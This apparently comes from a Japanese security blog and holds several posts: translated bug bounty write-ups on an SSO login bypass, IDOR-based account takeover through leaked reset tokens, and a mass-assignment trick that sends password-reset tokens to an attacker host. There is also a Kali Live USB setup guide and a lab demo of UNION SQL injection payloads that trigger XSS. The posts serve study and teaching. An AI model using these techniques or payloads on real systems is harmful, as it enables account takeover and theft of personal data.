Shikata Ga Nai

Private? There is no such things.

The Story Of How I Bypass SSO Loginを訳してみた

Hello there, ('ω')ノ

 

SSOログインをバイパスする方法のストーリーを。

 

脆弱性:

 認証バイパス

 

記事:

 https://systemweakness.com/the-story-of-how-i-bypass-sso-login-6b93370196cf

 

常に最初のステップは、ターゲットページからドメインアドレス全体をコピーして。

bashスクリプトのtxtファイルに貼り付けることで。

詳細については、https://github.com/zer0da/subEnumを確認して。

 

 

 

bashが仕事をしている間、いつものように会社を調査し始めて。

彼らの仕事は何か、彼らが使用しているテクノロジーなど。

 

bashが仕事を終えた後、すべてのサブドメインが見つかり。

新しいtxtファイルに書き込まれたので。

その後、到達可能なサブドメインを解析するために、Pythonスクリプトを開始して。

詳細については、https://github.com/zer0da/SubCheckerから確認して。

 

 

 

次に、サブドメインをチェックして、異常なものを検出し始めて。

あるページで、そのページにはSSOログインが必要であることがわかったものの。

その前に、1ミリ秒の間その背後にある下記のページを見ることができて。

 

 

それはウェブサイトの論理的な問題だったと思うので。

Burpプロキシから調べ始めて。

 

 

まず、GETからPOST、TRACEなどのメソッドを変更して。

 

 

しかし、それはうまくいかなかったので。

Webサイトの別のパスを開き、200OKと到達可能を返す応答をコピーして。

SSOログインページの応答を傍受して。

 

 

その後、コピーした応答をこの応答に貼り付けて転送すると。

このページにアクセスできたので、バグが見つかって。

 

Best regards, (^^ゞ

A tale of zero click account takeoverを訳してみた

Hello there, ('ω')ノ

 

ゼロクリックアカウントの乗っ取りの話を。

 

脆弱性:

 アカウントの乗っ取り

 IDOR

 

記事:

 https://medium.com/pentesternepal/a-tale-of-zero-click-account-takeover-56b51fdbd7ae

 

初期偵察:

いつものように、サブドメインの発見から始めて、それを調査し始めて。

スコープがワイルドカード*.target.comであったため。

このターゲットにもっと興味があって。

サブドメインのスキャン中に、異常なサブドメインや興味深いサブドメインに。

遭遇することはなかったので、メインドメインを探し始めることに。

 

メインドメインの機能をいじった後、アクセス制御が壊れていたので。

任意のユーザの個人情報を表示できて。

一意のuserIDを渡すことで、emailID、住所、電話番号、生年月日などの。

個人情報を表示できて。

 

エンドポイント:
 /api/Customer/GetAdditional?customerId=

 

数日後、同じサイトでBurpでサイトを閲覧しているときに。

BAppStoreから入手できるJS Link Finderによって。

発見されたjavascriptファイルに出くわして。

 

 

コードをローカルに保存してから、JSコードの分析に数時間を費やした後。

下記のエンドポイントに到達して。

 /api/AdditionalCustomerFields

 

これは、最新のすべての顧客のUserIDを開示していて。

 

今度は、JSコードが興味深いことがわかったので、さらに深く掘り下げることに。

リクエスト後と同じUserIDパラメータを取得し。

応答でpasswordHashやresetTokenなどの重要な情報を返す。

下記のエンドポイントに出くわしまして。

 /api/PushToken

 

幸いなことに、アクセス制御が不足しすぎていて。

 

 

なので、任意のユーザの一意のUserIDを渡すことで、リセットトークンを取得できて。

サイト上のすべてのユーザのuserIDを持っていたので。

古い検索結果とチェーンすることができて。

パスワードを忘れて、下記のエンドポイントから取得できるリカバリートークンを。

使用するだけで済んで。

 /api/PushToken

 

サイト上のすべてのユーザのアカウント乗っ取りを再現する手順は次のとおり。

    1.下記へリクエストを送信すると。

  すべてのユーザに一意のユーザIDが付与されて。

   /api/AdditionalCustomerFields

 

 2.UserIDを使用して下記へリクエストを送信すると。

  メールアドレスが開示され。

   /api/Customer/GetAdditional?customerId=

 

    3.手順2で取得したユーザのパスワードをリセットして。

 

 4.本文に一意のユーザーIDを指定して/api/PushTokenにPOSTリクエストを。

  送信すると、手順3でリクエストされたリカバリコードが表示されて。

 

このようにして、サイト上の誰かのアカウントを簡単に乗っ取ることができて。

 

要点:

    決してあきらめないで(良いことには時間がかかるので)。

 サイトを理解し、すべての機能を試してみて。

 JSファイルを分析することを忘れないで。

 JSファイルには多くの機密情報や隠されたエンドポイントが。

 含まれている可能性があって。

 

JSファイルを利用して非表示のエンドポイントと機密情報を見つける方法は。

 https://www.bugbountyhunter.com/guides/?type=javascript_files

 

 

Best regards, (^^ゞ

USBで起動するKali Linuxの構築方法についてかいてみた(ブラッシュアップ版)

Hello there, ('ω')ノ

 

今回は、KingstonのUSBで。

USBは、256GBのGen2対応を。

 

Kali LinuxのLive USBの作る際には。

下記よりliveバージョンをダウンロードしてから。

ダウンロードがなかなかできないときは、アーカイブサイトからダウンロードして。
 https://archive.kali.org/kali-images/kali-weekly/

 


それとUSBへの書き込みソフトとしてrufusが必要で。

 https://rufus.ie/ja/

 


書き込みの際は、保存領域のサイズを指定しないと保存できず。

複雑にLive USBのKali Linuxの作成方法を書かれている方がおられるようですが。

実はシンプルで簡単で。

Rufusを使って『保存領域のサイズ』を指定すれば簡単にできますので。

わざわざパーティションの作成は不要かと。

まずは、ブートの種類を選択してから。

 

画像

 

 

USBからの起動する際は、BIOSでセキュアブートを無効する必要があって。

あとはBIOSを設定してUSBから起動して。

設定を保存するためには、Persistenceを選んで。

起動すると左上のアイコンからWiFiの設定をして。

 

画像

 

メニューのSettingsのKeyboardからキーボードの設定を『Japanese』へ。

Use system defaultsをOFFにしてからAddで。

Englishは、Removeを。

 

画像

 

ターミナルを開いて。

 sudo apt update

 sudo apt upgrade ⇦ 時間がかかるので後で実行するのがおすすめ

 

日本語環境は、いろいろありますが今回はこれを。

 sudo apt install  ibus-anthy

 

画像

 

メニューからのibusの設定はこんな感じで。

AddからJapaneseを選択してから『Japanese-Anthy』を。

 

画像

 

バーの右上の文字入力をクリックして、『Japanese-Anthy』を選択すると。

全角半角キーで切り替わるようになっているかと。

 

ただ、以前だと全角半角キーでの切り替えは、下記のようにiBusで。

ここでもキーボードのレイアウトを『ja』したいたりとも。

ここはバージョンの違いかもしれませんが、臨機応変に。

 

画像

 

Chromeもインストールして。

sudo apt update
sudo wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo apt install ./google-chrome-stable_current_amd64.deb

 

画像

 

USB Live版でもVirtual Boxを。

 sudo apt install virtualbox

 

画像

 

Gen2対応のUSBで問題なく。

 

画像

 

Juice Shopをインストールして。

sudo apt -y install nodejs
sudo apt -y install npm
sudo apt -y install git
git clone https://github.com/bkimminich/juice-shop.git
cd juice-shop
npm install
npm start ← CTRL+Cで終了
http://localhost:3000

 

画像

 

Best regards, (^^ゞ

One Click To Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

ワンクリックでアカウントの乗っ取りを。

 

脆弱性:

 一括割当

 

記事:

 https://m7-arman.medium.com/one-click-to-account-takeover-1f78c6003eba

 

概要 :

target.comでパスワードのリセットを要求すると。

パスワードのリセットリンクが記載されたメールが届いて。

 

    Target.com/RestPassword/Token/blablablabla

 

今回は、ユーザのトークンを盗むことに焦点を当てることに。

最初の試行では、次のようなヘッダを挿入して。

    X-Forwarded-Host:
    X-Forwarded-For:

 

残念ながら、サイトはホストヘッダインジェクションに対して脆弱ではなく。

2回目の試行で、パスワードリセットリンクのホストを変更することにつながる。

クールなことに気づきましたが、はっきりせず。

 

今回は、このシナリオの黄金の秘訣をお伝えしたいと思って。

大量割り当ての脆弱性に注意する必要があって。

パスワードのリセット要求をキャプチャした場合、本文の要求には。

content-typeのjsonのパラメータがあって。

  {“email” : “Evil@attacker.com”}

 

リクエストでいくつかの隠されたパラメータは可能かどうかを考えてみると。

通常、ユーザがnull値でリクエストを送信した場合は。

パラメータはデフォルト値で埋められるものの。

残念ながら、エンドポイントにはレート制限があり。

各テストパラメータの後にメールをチェックする必要があったため。

param minerを使用できないので、ワードリストを手動でテストする必要があって。

 

 

しばらくして、パスワードリセットリンクのすべてのホストとパスを。

変更するための簡単なパラメータを見つけて。

下記がこれらのパラメータを使用したリクエストで。

 {“email” : “Evil@attacker.com” , “Url” : “https://Evill.com/Angel/}

 

下記を得ることに。

 https://Evill.com/Angel/blablablabla

 

エクスプロイト:

この脆弱性を悪用するには、被害者の電子メールを入力して。

Burp Suiteのcollaboratorの値で「Url」パラメータを追加した後に。

リクエストをキャプチャしてから、リクエストを転送する必要があって。

 

ユーザがリンクをクリックすると、Burp Suiteのcollaboratorでトークンを受け取って。

 

Best regards, (^^ゞ

SQLインジェクションからXSSを実行してみた

Hello there, ('ω')ノ

 

久しぶりのMutillidae Ⅱを。

 

 

こちらにはSQLインジェクションの脆弱性があって。

UNIONを使って、カラム数と表示されるカラムを特定して。

 ' union select null,1,2,3,null,null,null -- 

 

 

 ' union select null,@@version,schema(),system_user(),null,null,null -- 

 

 

次に数字を文字に変えてみるとエラーとなるため。

 ' union select null,A,null,null,null,null,null -- 

 

 

下記のような関数を使用すると。

 ' union select null,char(65),null,null,null,null,null -- 

 

 

下記のサイトで、ペイロードの文字列をASCIIに変換して。

http://web-apps.nbookmark.com/ascii-converter/

 

 

下記を実行するとXSSが機能して。

' union select null,CHAR(60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,88,83,83,39,41,60,47,115,99,114,105,112,116,62),null,null,null,null,null -- 

 

 

 

Best regards, (^^ゞ